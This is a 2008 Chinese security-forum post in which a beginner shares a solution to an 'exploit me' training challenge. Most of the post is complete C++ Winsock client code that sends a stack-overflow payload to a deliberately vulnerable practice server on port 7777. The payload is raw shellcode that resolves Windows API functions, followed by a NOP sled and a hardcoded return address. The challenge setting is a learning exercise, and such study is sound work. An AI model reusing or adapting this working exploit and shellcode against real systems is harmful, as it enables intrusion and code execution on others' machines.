首页
社区
课程
招聘
[旧帖] [分享]菜鸟学习exploit me挑战赛第一题 0.00雪花
发表于: 2008-1-2 14:22 3251

[旧帖] [分享]菜鸟学习exploit me挑战赛第一题 0.00雪花

2008-1-2 14:22
3251
既然是菜鸟,当然是啥都不会。。。咋办呢??看雪老大说了是面向初学者,俺总要实验下。
。第一件事就是看贴
【技术专题】软件漏洞分析入门(持续更新中...)   http://bbs.pediy.com/showthread.php?t=56445

看完之后就是练手。。砸练呢??文中已经给了考试了。就是exploit_me_A.exe
依然是置顶贴。。。自己去下载吧!!
这是个服务器端的程序。。。。只是把接受到的信息显示出来。。俺们要做的,就是发送信息,做俺们能干的事。。。很幸运。。看雪老大说了面向新手。。所以啥都没加。。啥GS开关之类的。

于是本菜鸟开始分析研究。。。不过这个东东入门真的不错。。详细解释置顶贴全写了。。。俺是没啥说的了。耐心看就行。。。发此贴。主要是给大家个动手的机会。。能实际做遍。(似乎,目前的精华贴都没有完整的代码)

其实俺是个懒人。不太会写代码。。。。先说下工具吧!!第一题简单就简单在工具只要2个。
OD 和VC6。0。   其他啥都不需要。
然后去网上DOWNLOAD一段SOCKET 代码。。研究一下置顶贴。。结合一下。似乎就可以了。。完整代码如下。。。(因为是菜鸟贴。。只要有VC6就可以运行了。。会运行HELLO WORLD 就能运行该程序,,其实俺也只会HELLOWORLD)

#pragma   comment (lib,   "ws2_32.lib")  

#include<windows.h>
#include<iostream.h>
#include<Winsock.h>
#include<fstream.h>

void sError(char*);

void main()
{
        WORD version;
        WSADATA wsaData;
        int rVal=0;

        version = MAKEWORD(1,1);

        WSAStartup(version,(LPWSADATA)&wsaData);

        LPHOSTENT hostEntry;

        //store information about the server
        hostEntry = gethostbyname("zzzz");

        if(!hostEntry)
        {
                sError("Failed gethostbyname()");
                //WSACleanup();
        }

        //create the socket
        SOCKET theSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

        if(theSocket == SOCKET_ERROR)
        {
                sError("Failed socket()");
        }

        //Fill in the sockaddr_in struct
        SOCKADDR_IN serverInfo;

        serverInfo.sin_family = AF_INET;
        serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list);

        serverInfo.sin_port = htons(7777);

        rVal=connect(theSocket,(LPSOCKADDR)&serverInfo, sizeof(serverInfo));
        if(rVal==SOCKET_ERROR)
        {
                sError("Failed connect()");
        }

///发送东西
           char test1[] =
                    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
            "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
            "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
            "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
            "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
            "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
            "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
            "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
            "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
            "\x53\x68\x73\x73\x73\x73\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
            "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                        "\x90\x90\x90\x90\x90\x90\x90\x90"
                        "\xf4\xfb\x12\00";
                cout<<sizeof(test1)<<endl;
                cout<<test1<<endl;
                rVal = send(theSocket, test1, strlen(test1), 0);
                if(rVal == SOCKET_ERROR)
                {
                        sError("Failed send()");
                }

        closesocket(theSocket);
        cout << "closing client"<< endl;
        WSACleanup();
}
void sError(char *str)
{
        MessageBox(NULL, str, "SOCKET ERROR", MB_OK);
        WSACleanup();
}

要出去了。。回来再研究第二题了。。。。。

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//